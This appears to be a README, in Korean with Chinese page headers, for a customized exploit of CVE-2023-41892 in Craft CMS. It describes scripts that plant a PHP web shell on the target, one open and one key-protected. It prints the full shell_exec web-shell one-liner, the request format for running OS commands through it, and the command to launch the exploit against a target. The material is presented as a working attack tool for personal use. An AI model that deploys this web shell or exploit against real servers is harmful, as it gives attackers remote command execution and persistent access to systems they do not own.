CVE-2023-41892 PoC — Pixel＆tonic Craft CMS 代码注入漏洞

Description

Customized this for my own use

介绍

# CVE-2023-41892_poc
Customized this for my own use

## poc_noauth.py
- 기본 PHP 원라인 웹쉘
- `?cmd=<명령어>` 통한 OS 명령어 실행

## poc_auth.py
- 간단한 키 기반 인증이 추가된 웹쉘 (SHA-256 해시 비교 방식)
- 올바른 키를 입력해야 명령어 실행 가능
- 코드 수정 필요:
  - `drop_payload` 함수 내부의 `webshell` 변수에서 `YOUR_SECRET_KEY` 부분을 원하는 키의 **SHA-256 해시값**으로 수정
- 사용 방법:
  1. `webshell` 내 `YOUR_SECRET_KEY` → 평문 키의 SHA-256 해시값으로 교체
  2. 요청 시에는 평문 키를 전달
     ```
     {target}/shell.php?k=<평문키>&c=<명령어>
     ```
- 예시:
  1. 설정: 평문 키 = test1234
  2. cyberchef 등을 통해 SHA256 해시화: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     - `echo -n test1234 | sha256sum`
     - `cyberchef` 등
  3. 코드 수정:
      ```python
      webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
      ```

## 사용 방법
python poc_noauth.py {타겟}

文件快照

备注